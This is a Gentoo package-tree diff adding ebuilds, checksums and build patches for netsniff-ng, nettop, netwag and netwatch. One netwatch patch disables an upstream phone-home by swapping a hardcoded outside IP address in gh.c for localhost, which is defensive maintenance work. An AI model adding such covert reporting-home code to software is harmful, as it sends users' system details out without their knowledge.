+DIST netsniff-ng-0.5.9-rc3.tar.xz 525204 SHA256 dba8aaefbb1cf59e629e4fcb369be22e4817e132e0e0cca781c424b46b67d87c SHA512 060e356cd7d80bd9ab163a7474a0718d2429ae88711bb6ae804a2fe3c8afc052d115412aa5cb324bbeb1ef49bdfcf257b0016c7b8051056c339124272bf1311d WHIRLPOOL 2c19c706346b1ab0dc9dcd81217ac3fd27495ae7a94aac9185f9cfe412614a494dc3442d47ce35ec4bca4b8d1813504cebc406081c3b1ed2a5f3ae561350eaf7
+DIST netsniff-ng-0.5.9.tar.xz 541304 SHA256 e0156074bdd146dd71edcd63fa3944b658a3bce5279e0a4128578636a9700b6c SHA512 ebcfc1569f6c2380ebd4f797614da37eaba08991478d776b547c5f68f0f2df0548339c30f9487f73f1963b71eb4b4fccf3d2bd87d5574893494f0ca0534eb0d8 WHIRLPOOL e8f9d973e50eca1dcf21faf17ab351d8e92e32464878a2bdd0d0ff633c6a33aee4be8e765e24996dc81441139587092da374a34b41437af838aab08512d18eae
diff --git a/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.6-man-no-compress.patch b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.6-man-no-compress.patch
new file mode 100644
index 000000000000..5c4f66ec8391
--- /dev/null
+++ b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.6-man-no-compress.patch
@@ -0,0 +1,41 @@
+--- netsniff-ng-0.5.6/src/cmake/modules/Pod2Man.cmake
++++ netsniff-ng-0.5.6/src/cmake/modules/Pod2Man.cmake
+@@ -12,16 +12,11 @@
+
+ MACRO(POD2MAN PODFILE MANFILE SECTION)
+ FIND_PROGRAM(POD2MAN pod2man)
+- FIND_PROGRAM(GZIP gzip)
+
+ IF(NOT POD2MAN)
+ MESSAGE(FATAL ERROR "Need pod2man installed to generate man page")
+ ENDIF(NOT POD2MAN)
+
+- IF(NOT GZIP)
+- MESSAGE(FATAL ERROR "Need gzip installed to compress man page")
+- ENDIF(NOT GZIP)
+-
+ IF(NOT EXISTS ${PODFILE})
+ MESSAGE(FATAL ERROR "Could not find pod file ${PODFILE} to generate man page")
+ ENDIF(NOT EXISTS ${PODFILE})
+@@ -34,19 +29,13 @@
+ ${PODFILE} > ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}
+ )
+
+- ADD_CUSTOM_COMMAND(
+- OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}.gz
+- COMMAND ${GZIP} -c ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION} > ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}.gz
+- DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}
+- )
+-
+ SET(MANPAGE_TARGET "man-${MANFILE}")
+
+- ADD_CUSTOM_TARGET(${MANPAGE_TARGET} DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}.gz)
++ ADD_CUSTOM_TARGET(${MANPAGE_TARGET} DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION})
+ ADD_DEPENDENCIES(man ${MANPAGE_TARGET})
+
+ INSTALL(
+- FILES ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}.gz
++ FILES ${CMAKE_CURRENT_BINARY_DIR}/${MANFILE}.${SECTION}
+ DESTINATION share/man/man${SECTION}
+ )
+ ENDMACRO(POD2MAN PODFILE MANFILE SECTION)
diff --git a/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-fortify_source.patch b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-fortify_source.patch
new file mode 100644
index 000000000000..b4f3672dd88c
--- /dev/null
+++ b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-fortify_source.patch
@@ -0,0 +1,12 @@
+As seen on http://code.google.com/p/android/issues/detail?id=20795
+--- netsniff-ng-0.5.8-rc2/Makefile
++++ netsniff-ng-0.5.8-rc2/Makefile
+@@ -72,7 +72,7 @@
+ CFLAGS_DEF += -Wstack-protector
+ CFLAGS_DEF += --param=ssp-buffer-size=4
+ CFLAGS_DEF += -ftrapv
+- CFLAGS_DEF += -D_FORTIFY_SOURCE=2
++ CFLAGS_DEF += -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2
+ CFLAGS_DEF += -fexceptions
+ endif
+
diff --git a/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-libcli-test.patch b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-libcli-test.patch
new file mode 100644
index 000000000000..903a4b94a904
--- /dev/null
+++ b/net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-libcli-test.patch
@@ -0,0 +1,11 @@
+Seen on https://bugzilla.redhat.com/show_bug.cgi?id=836923
+--- netsniff-ng-0.5.8-rc2/configure
++++ netsniff-ng-0.5.8-rc2/configure
+@@ -463,6 +463,7 @@
+ echo -n "[*] Checking libcli ... "
+
+ cat > $TMPDIR/clitest.c << EOF
++#include <sys/time.h>
+ #include <libcli.h>
+
+ void main(void)
diff --git a/net-analyzer/netsniff-ng/metadata.xml b/net-analyzer/netsniff-ng/metadata.xml
new file mode 100644
index 000000000000..59acc2cc580e
--- /dev/null
+++ b/net-analyzer/netsniff-ng/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>xmw@gentoo.org</email>
+<name>Michael Weber</name>
+</maintainer>
+</pkgmetadata>
+
diff --git a/net-analyzer/netsniff-ng/netsniff-ng-0.5.7-r1.ebuild b/net-analyzer/netsniff-ng/netsniff-ng-0.5.7-r1.ebuild
new file mode 100644
index 000000000000..bfbed4230b43
--- /dev/null
+++ b/net-analyzer/netsniff-ng/netsniff-ng-0.5.7-r1.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit cmake-utils eutils
+
+DESCRIPTION="high performance network sniffer for packet inspection"
+HOMEPAGE="http://netsniff-ng.org/"
+SRC_URI="http://pub.${PN}.org/${PN}/${P}.tar.gz -> ${PF}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/libnl:1.1"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${P}/src
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.5.6-man-no-compress.patch
+}
+
+src_install() {
+ cmake-utils_src_install
+ dodoc ../{AUTHORS,README,REPORTING-BUGS}
+}
diff --git a/net-analyzer/netsniff-ng/netsniff-ng-0.5.8.ebuild b/net-analyzer/netsniff-ng/netsniff-ng-0.5.8.ebuild
new file mode 100644
index 000000000000..b0b64f8c3739
--- /dev/null
+++ b/net-analyzer/netsniff-ng/netsniff-ng-0.5.8.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="high performance network sniffer for packet inspection"
+HOMEPAGE="http://netsniff-ng.org/"
+MY_P=${P/_rc/-rc}
+SRC_URI="http://pub.${PN}.org/${PN}/${MY_P}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/geoip
+ dev-libs/libcli
+ dev-libs/libnl:3
+ dev-libs/userspace-rcu
+ net-libs/libnet:1.1
+ net-libs/libnetfilter_conntrack
+ net-libs/libpcap
+ sys-libs/ncurses:5
+ sys-libs/zlib"
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison
+ =net-libs/nacl-0_p20110221*
+ virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -e '/CFLAGS/s:?=:+=:' \
+ -e '/CFLAGS/s:\(-g\|-O2\|-O3\|-m\(arch\|tune\)=native\)::g' \
+ -i Makefile || die
+
+ if ! grep nacl-20110221 curvetun/nacl_build.sh >/dev/null ; then
+ die "have nacl-20110221, expected $(grep ${MY_NACL_P} curvetun/nacl_build.sh)"
+ fi
+
+ export NACL_INC_DIR="${EROOT}usr/include/nacl"
+ export NACL_LIB_DIR="${EROOT}usr/$(get_libdir)/nacl"
+
+ epatch_user
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" LD="$(tc-getCC)" CCACHE="" \
+ LEX=lex YAAC=bison STRIP=@true \
+ Q= HARDENING=1
+}
+
+src_install() {
+ emake PREFIX="${ED}usr" ETCDIR="${ED}etc" install
+
+ dodoc AUTHORS README REPORTING-BUGS
+}
diff --git a/net-analyzer/netsniff-ng/netsniff-ng-0.5.9.ebuild b/net-analyzer/netsniff-ng/netsniff-ng-0.5.9.ebuild
new file mode 100644
index 000000000000..03facc3314c1
--- /dev/null
+++ b/net-analyzer/netsniff-ng/netsniff-ng-0.5.9.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="high performance network sniffer for packet inspection"
+HOMEPAGE="http://netsniff-ng.org/"
+SRC_URI="http://pub.${PN}.org/${PN}/${P}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/geoip
+ dev-libs/libcli
+ dev-libs/libnl:3
+ dev-libs/userspace-rcu
+ net-libs/libnet:1.1
+ net-libs/libnetfilter_conntrack
+ net-libs/libpcap
+ sys-libs/ncurses:5
+ sys-libs/zlib"
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison
+ =net-libs/nacl-0_p20110221*
+ virtual/pkgconfig"
+
+src_prepare() {
+ sed -e '/CFLAGS/s:?=:+=:' \
+ -e '/CPPFLAGS/s:?=:+=:' \
+ -e '/CFLAGS/s:\(-g\|-O2\|-O3\|-m\(arch\|tune\)=native\)::g' \
+ -i Makefile || die
+
+ if ! grep nacl-20110221 curvetun/nacl_build.sh >/dev/null ; then
+ die "have nacl-20110221, expected $(grep ${MY_NACL_P} curvetun/nacl_build.sh)"
+ fi
+
+ export NACL_INC_DIR="${EROOT}usr/include/nacl"
+ export NACL_LIB_DIR="${EROOT}usr/$(get_libdir)/nacl"
+
+ epatch_user
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" LD="$(tc-getCC)" CCACHE="" \
+ LEX=lex YAAC=bison STRIP=true \
+ Q= HARDENING=1
+}
+
+src_install() {
+ emake PREFIX="${ED}usr" ETCDIR="${ED}etc" install
+
+ dodoc AUTHORS README REPORTING-BUGS
+}
diff --git a/net-analyzer/netsniff-ng/netsniff-ng-0.5.9_rc3.ebuild b/net-analyzer/netsniff-ng/netsniff-ng-0.5.9_rc3.ebuild
new file mode 100644
index 000000000000..b0b64f8c3739
--- /dev/null
+++ b/net-analyzer/netsniff-ng/netsniff-ng-0.5.9_rc3.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="high performance network sniffer for packet inspection"
+HOMEPAGE="http://netsniff-ng.org/"
+MY_P=${P/_rc/-rc}
+SRC_URI="http://pub.${PN}.org/${PN}/${MY_P}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-libs/geoip
+ dev-libs/libcli
+ dev-libs/libnl:3
+ dev-libs/userspace-rcu
+ net-libs/libnet:1.1
+ net-libs/libnetfilter_conntrack
+ net-libs/libpcap
+ sys-libs/ncurses:5
+ sys-libs/zlib"
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison
+ =net-libs/nacl-0_p20110221*
+ virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -e '/CFLAGS/s:?=:+=:' \
+ -e '/CFLAGS/s:\(-g\|-O2\|-O3\|-m\(arch\|tune\)=native\)::g' \
+ -i Makefile || die
+
+ if ! grep nacl-20110221 curvetun/nacl_build.sh >/dev/null ; then
+ die "have nacl-20110221, expected $(grep ${MY_NACL_P} curvetun/nacl_build.sh)"
+ fi
+
+ export NACL_INC_DIR="${EROOT}usr/include/nacl"
+ export NACL_LIB_DIR="${EROOT}usr/$(get_libdir)/nacl"
+
+ epatch_user
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" LD="$(tc-getCC)" CCACHE="" \
+ LEX=lex YAAC=bison STRIP=@true \
+ Q= HARDENING=1
+}
+
+src_install() {
+ emake PREFIX="${ED}usr" ETCDIR="${ED}etc" install
+
+ dodoc AUTHORS README REPORTING-BUGS
+}
diff --git a/net-analyzer/netsniff-ng/netsniff-ng-9999.ebuild b/net-analyzer/netsniff-ng/netsniff-ng-9999.ebuild
new file mode 100644
index 000000000000..aa0806624603
--- /dev/null
+++ b/net-analyzer/netsniff-ng/netsniff-ng-9999.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit git-2 eutils multilib toolchain-funcs
+
+DESCRIPTION="high performance network sniffer for packet inspection"
+HOMEPAGE="http://netsniff-ng.org/"
+EGIT_REPO_URI="git://github.com/borkmann/${PN}.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+RDEPEND="dev-libs/geoip
+ dev-libs/libcli
+ dev-libs/libnl:3
+ dev-libs/userspace-rcu
+ net-libs/libnet:1.1
+ net-libs/libnetfilter_conntrack
+ net-libs/libpcap
+ sys-libs/ncurses:5
+ sys-libs/zlib"
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison
+ =net-libs/nacl-0_p20110221*
+ virtual/pkgconfig"
+
+src_prepare() {
+ sed -e '/CFLAGS/s:?=:+=:' \
+ -e '/CPPFLAGS/s:?=:+=:' \
+ -e '/CFLAGS/s:\(-g\|-O2\|-O3\|-m\(arch\|tune\)=native\)::g' \
+ -i Makefile || die
+
+ if ! grep nacl-20110221 curvetun/nacl_build.sh >/dev/null ; then
+ die "have nacl-20110221, expected $(grep ${MY_NACL_P} curvetun/nacl_build.sh)"
+ fi
+
+ export NACL_INC_DIR="${EROOT}usr/include/nacl"
+ export NACL_LIB_DIR="${EROOT}usr/$(get_libdir)/nacl"
+
+ epatch_user
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" LD="$(tc-getCC)" CCACHE="" \
+ LEX=lex YAAC=bison STRIP=@true \
+ Q= HARDENING=1
+}
+
+src_install() {
+ emake PREFIX="${ED}usr" ETCDIR="${ED}etc" install
+
+ dodoc AUTHORS README REPORTING-BUGS
+}
diff --git a/net-analyzer/nettop/Manifest b/net-analyzer/nettop/Manifest
new file mode 100644
index 000000000000..e915ab0a21a8
--- /dev/null
+++ b/net-analyzer/nettop/Manifest
@@ -0,0 +1 @@
+DIST nettop-0.2.3.tar.gz 22797 SHA256 4dbb2bdb506c4a5a49d67fbd7bcc860008a881abe55271cf3651316620143556 SHA512 96e0bff2b0c317636a303c5eb1e27b5ee862e94dad507ce756ef24e2cad7bbe2ebb5fcb46294b790c32b5fd6189381d1c1d0835a522a06b02522d093c15c6ece WHIRLPOOL 1deca1671dfe173a4fc95b0bb66359883d7fd510bb4abeba51e9341098cfb9094de6c88c768902f657e04e5ee9cb709bb3d96d64ce075621c82d2384efe02354
diff --git a/net-analyzer/nettop/files/nettop-0.2.3-gcc411.patch b/net-analyzer/nettop/files/nettop-0.2.3-gcc411.patch
new file mode 100644
index 000000000000..5e516eab0907
--- /dev/null
+++ b/net-analyzer/nettop/files/nettop-0.2.3-gcc411.patch
@@ -0,0 +1,49 @@
+--- a/nettop.c
++++ b/nettop.c
+@@ -70,6 +70,7 @@
+ #include <time.h>
+ #include <stdlib.h>
+ #include <netdb.h>
++#include <string.h>
+
+ #include "node.h"
+ #include "ent.h"
+@@ -216,22 +217,26 @@
+ }
+ }
+
+- ether.count = ether.size = (int) ether.l = (int) ether.r = 0;
++ ether.count = ether.size = 0;
++ ether.l = ether.r = 0;
+ ether.type = -1;
+ for (i = 0; i < HISTORY_SIZE; i++)
+ ether.size_h[i] = 0;
+
+- ip.count = ip.size = (int) ip.l = (int) ip.r = 0;
++ ip.count = ip.size = 0;
++ ip.l = ip.r = 0;
+ ip.type = -1;
+ for (i = 0; i < HISTORY_SIZE; i++)
+ ip.size_h[i] = 0;
+
+- tcp.count = tcp.size = (int) tcp.l = (int) tcp.r = 0;
++ tcp.count = tcp.size = 0;
++ tcp.l = tcp.r = 0;
+ tcp.type = -1;
+ for (i = 0; i < HISTORY_SIZE; i++)
+ tcp.size_h[i] = 0;
+
+- udp.count = udp.size = (int) udp.l = (int) udp.r = 0;
++ udp.count = udp.size = 0;
++ udp.l = udp.r = 0;
+ udp.type = -1;
+ for (i = 0; i < HISTORY_SIZE; i++)
+ udp.size_h[i] = 0;
+@@ -361,6 +366,7 @@
+ }
+ break;
+ default:
++ break;
+ }
+ }
+ }
diff --git a/net-analyzer/nettop/files/nettop-0.2.3-offbyone.patch b/net-analyzer/nettop/files/nettop-0.2.3-offbyone.patch
new file mode 100644
index 000000000000..32ab3d64ad4c
--- /dev/null
+++ b/net-analyzer/nettop/files/nettop-0.2.3-offbyone.patch
@@ -0,0 +1,29 @@
+--- a/nettop.c
++++ b/nettop.c
+@@ -384,7 +385,7 @@
+ void
+ screen_update()
+ {
+- struct node *sorted[24] = {0};
++ struct node *sorted[25] = {0};
+ unsigned long long sump, sums, valp, vals;
+ unsigned long long xfrrate = 0;
+ int i, do_ipprint, last[3] = {0};
+@@ -512,7 +513,7 @@
+ void
+ ipprint(int last[])
+ {
+- struct node *sorted[24] = {0};
++ struct node *sorted[25] = {0};
+ struct ent *proto;
+ unsigned long long valp, vals, sump, sums;
+ unsigned long long xfrrate = 0;
+@@ -575,7 +576,7 @@
+ void
+ servprint(int last[], struct node *tree, int type)
+ {
+- struct node *sorted[24] = {0};
++ struct node *sorted[25] = {0};
+ struct ent *e;
+ struct ent *service;
+ unsigned long long vals, valp, sums, sump;
diff --git a/net-analyzer/nettop/metadata.xml b/net-analyzer/nettop/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nettop/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nettop/nettop-0.2.3-r2.ebuild b/net-analyzer/nettop/nettop-0.2.3-r2.ebuild
new file mode 100644
index 000000000000..d1bc2d0b49f2
--- /dev/null
+++ b/net-analyzer/nettop/nettop-0.2.3-r2.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="top like program for network activity"
+SRC_URI="http://srparish.net/scripts/${P}.tar.gz"
+HOMEPAGE="http://srparish.net/software/"
+
+SLOT="0"
+LICENSE="BSD"
+KEYWORDS="amd64 ~arm ppc x86"
+
+DEPEND="
+ sys-libs/slang
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gcc411.patch \
+ "${FILESDIR}"/${P}-offbyone.patch
+ tc-export CC
+}
+
+src_install() {
+ dosbin nettop
+ dodoc ChangeLog README THANKS
+}
diff --git a/net-analyzer/netwag/Manifest b/net-analyzer/netwag/Manifest
new file mode 100644
index 000000000000..fcf686711622
--- /dev/null
+++ b/net-analyzer/netwag/Manifest
@@ -0,0 +1,2 @@
+DIST netwag-5.39.0-doc_html.tgz 46461 SHA256 5dfc818ac1a66274ace0524eddf5fce2b617cad3652e16e619e6fb541d6565c5 SHA512 499d201b510c5175b09c7dbcc8b9bec1d9aa2fbf90613a937f88be5835dd67acfe28e78483ce2124c4fa3b43ea8f409ce6115e48f12ae0ffc4ad684354488030 WHIRLPOOL 076bb7b93901cdfc9a1c24c92f53ed1fb7c0622b3a0548a9624de7c890f8abbdac20ded96485761ef5adfc67fa0c6e94463743a114bb74097b3c099af7379d21
+DIST netwag-5.39.0-src.tgz 164731 SHA256 e625c840797dc3568ede90dafdee6a0b63775d77c291d418cd9a2e7242e35a57 SHA512 a9f0279d42666eff636bb66258a17a4e10528b7329dfe5e5d8c0ddce15048d847a2a8e892ba82a606b37ceb328b8b31be52d7e8ee7aeb6feb1f3d254aa3a2401 WHIRLPOOL d2ceab34df6af18bd46162ce435ba0ac5fa8c2cac94436ce506925b36e4bb91d01e5c6b380fdba9eda038ce44591bc5e0a3485e6c1728a87c1419b8fd3858b5e
diff --git a/net-analyzer/netwag/metadata.xml b/net-analyzer/netwag/metadata.xml
new file mode 100644
index 000000000000..296a5fe08647
--- /dev/null
+++ b/net-analyzer/netwag/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Toolbox of 222 utilities for testing Ethernet/IP networks</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ntwag</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/netwag/netwag-5.39.0.ebuild b/net-analyzer/netwag/netwag-5.39.0.ebuild
new file mode 100644
index 000000000000..cc0278e49905
--- /dev/null
+++ b/net-analyzer/netwag/netwag-5.39.0.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# NOTE: netwib, netwox and netwag go together, bump all or bump none
+
+EAPI=5
+
+DESCRIPTION="Tcl/tk interface to netwox (Toolbox of 222 utilities for testing Ethernet/IP networks)"
+HOMEPAGE="
+ http://ntwag.sourceforge.net/
+ http://www.laurentconstantin.com/en/netw/netwag/
+"
+SRC_URI="mirror://sourceforge/ntwag/${P}-src.tgz
+ doc? ( mirror://sourceforge/ntwag/${P}-doc_html.tgz )"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc x86"
+IUSE="doc"
+
+DEPEND="
+ ~net-analyzer/netwox-${PV}
+ >=dev-lang/tk-8
+ || (
+ x11-terms/xterm
+ kde-apps/konsole
+ x11-terms/eterm
+ x11-terms/gnome-terminal
+ x11-terms/rxvt
+ )
+"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}-src/src"
+
+src_prepare() {
+ sed -i \
+ -e 's:/man$:/share/man:g' \
+ -e "s:/usr/local:/usr:" \
+ config.dat || die
+ sed -i \
+ -e 's|eterm|Eterm|g' \
+ genemake || die
+}
+
+src_configure() {
+ sh genemake || die "problem creating Makefile"
+}
+
+DOCS=(
+ "${WORKDIR}"/${P}-src/README.TXT
+ "${WORKDIR}"/${P}-src/doc/{changelog.txt,credits.txt}
+ "${WORKDIR}"/${P}-src/doc/{problemreport.txt,problemusage.txt,todo.txt}
+)
+
+src_install() {
+ default
+
+ use doc && dohtml -r "${WORKDIR}"/${P}-doc_html/*
+}
diff --git a/net-analyzer/netwatch/Manifest b/net-analyzer/netwatch/Manifest
new file mode 100644
index 000000000000..a3b7788b0597
--- /dev/null
+++ b/net-analyzer/netwatch/Manifest
@@ -0,0 +1 @@
+DIST netwatch-1.3.0-1.tgz 187936 SHA256 9fedc77e271cb3c3054e78f219962d5190294a90d4768797e06c6cd3fc8bd02d SHA512 c0feddf01d118c7d8ff1fd8344692db5ad6f1bbaf375a7ed296756314454a7b1fb430f73d698156aca7a4391578215b3e6cb0f899044be228827a0acb4caba2a WHIRLPOOL fb5cf90af81d3428a89cd3e5064941b868f45f319fffeb0f46729f5c48d365a5299dcc1f0d384f8e88c5f1a973b96f910000654550173a384fcacb98b98504bf
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-append_ldflags.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-append_ldflags.patch
new file mode 100644
index 000000000000..c88d2a8ef309
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-append_ldflags.patch
@@ -0,0 +1,15 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -16,10 +16,10 @@ INSTALLDIR=$(bindir)
+ all: $(EXEC)
+
+ netresolv: netresolv.o netresolv.h
+- $(CC) -o netresolv $(XCFLAGS) netresolv.o
++ $(CC) -o netresolv $(XCFLAGS) $(XLDFLAGS) netresolv.o
+
+ netwatch: $(OBJECTS) $(DEFS)
+- $(CC) -DVERSION='$(CVERSION)' -DRELEASE='$(CRELEASE)' -o netwatch $(XCFLAGS) $(OBJECTS) $(XLIBS)
++ $(CC) -DVERSION='$(CVERSION)' -DRELEASE='$(CRELEASE)' -o netwatch $(XCFLAGS) $(XLDFLAGS) $(OBJECTS) $(XLIBS)
+
+ install: $(EXEC)
+ install --owner=root --group=root --mode=0755 -d $(INSTALLDIR)
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-do-not-call.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-do-not-call.patch
new file mode 100644
index 000000000000..a2e6fac6c5b0
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-do-not-call.patch
@@ -0,0 +1,14 @@
+http://ftp.vim.org/ftp/ftp/os/Linux/distr/zenwalk/source/extra/n/netwatch/netwatch.phonemyself.diff.gz
+bug #495054
+
+--- a/gh.c
++++ b/gh.c
+@@ -25,7 +25,7 @@
+ #define MAGIC_PORT 20200
+
+ static char hc[] =
+-{72, 1,214,4};
++{127, 0, 0, 1};
+ static int x = 0;
+ static char s[256];
+ static struct utsname utsbf;
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-fix-fortify.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-fix-fortify.patch
new file mode 100644
index 000000000000..621cc7105a07
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-fix-fortify.patch
@@ -0,0 +1,11 @@
+--- a/netwatch.c
++++ b/netwatch.c
+@@ -302,7 +302,7 @@ int reload_timer_sec = 0;
+ int reload_active = FALSE;
+ int statsdate = FALSE;
+ int statsappend = TRUE;
+-char tmstring[80] = "%Y.%m.%d.%H.%M";
++char tmstring[256] = "%Y.%m.%d.%H.%M";
+ int freezedisplay = FALSE;
+ int lastfreeze = FALSE;
+ int sentclear = FALSE;
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-includes.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-includes.patch
new file mode 100644
index 000000000000..f0f0ea508a71
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-includes.patch
@@ -0,0 +1,22 @@
+--- a/warning.c
++++ b/warning.c
+@@ -2,6 +2,9 @@
+ #include "netwatch.h"
+ #include <syslog.h>
+ #include <stdio.h>
++#include <time.h> /* time() ctime() */
++#include <stdlib.h> /* system() */
++#include <unistd.h> /* unlink() */
+
+ static FILE *tmpfp;
+ static char tmpname[256];
+--- a/netwatch.c
++++ b/netwatch.c
+@@ -71,6 +71,7 @@
+ #include <sys/types.h>
+ #include <sys/stat.h>
+ #include <unistd.h>
++#include <ctype.h> /* isalnum() isspace() ispunct() */
+ /*
+ * #include <sys/socket.h>
+ */
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-open.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-open.patch
new file mode 100644
index 000000000000..ea846f334557
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-open.patch
@@ -0,0 +1,11 @@
+--- a/netwatch.c
++++ b/netwatch.c
+@@ -2758,7 +2758,7 @@ updatecurrent (HOSTINFO * work, struct i
+ work->plog = open (nam, O_APPEND | O_WRONLY);
+ if (work->plog < 0)
+ {
+- work->plog = open (nam, O_APPEND | O_CREAT | O_WRONLY);
++ work->plog = open (nam, O_APPEND | O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
+ st = write (work->plog, &starttime, sizeof (starttime));
+ st = write (work->plog, &simmagic, sizeof (simmagic));
+ }
diff --git a/net-analyzer/netwatch/files/netwatch-1.3.0.1-tinfo.patch b/net-analyzer/netwatch/files/netwatch-1.3.0.1-tinfo.patch
new file mode 100644
index 000000000000..a2e66ee660fb
--- /dev/null
+++ b/net-analyzer/netwatch/files/netwatch-1.3.0.1-tinfo.patch
@@ -0,0 +1,50 @@
+--- a/configure.in
++++ b/configure.in
+@@ -6,7 +6,12 @@
+ AC_DEFINE(_GORD_LIBS)
+ dnl Checks for libraries.
+ dnl Replace `main' with a function in -lncurses:
+-AC_CHECK_LIB(ncurses, mvchgat)
++PKG_CHECK_MODULES(ncurses, ncurses,[
++ LIBS="$LIBS $ncurses_LIBS"
++ XCFLAGS="$XCFLAGS $ncurses_CFLAGS"
++ ],
++ AC_DEFINE(NEWCURSES_SUPP)
++ AC_MSG_ERROR([ncurses not found]))
+ AC_CHECK_LIB(pthread, pthread_create)
+
+ dnl Checks for header files.
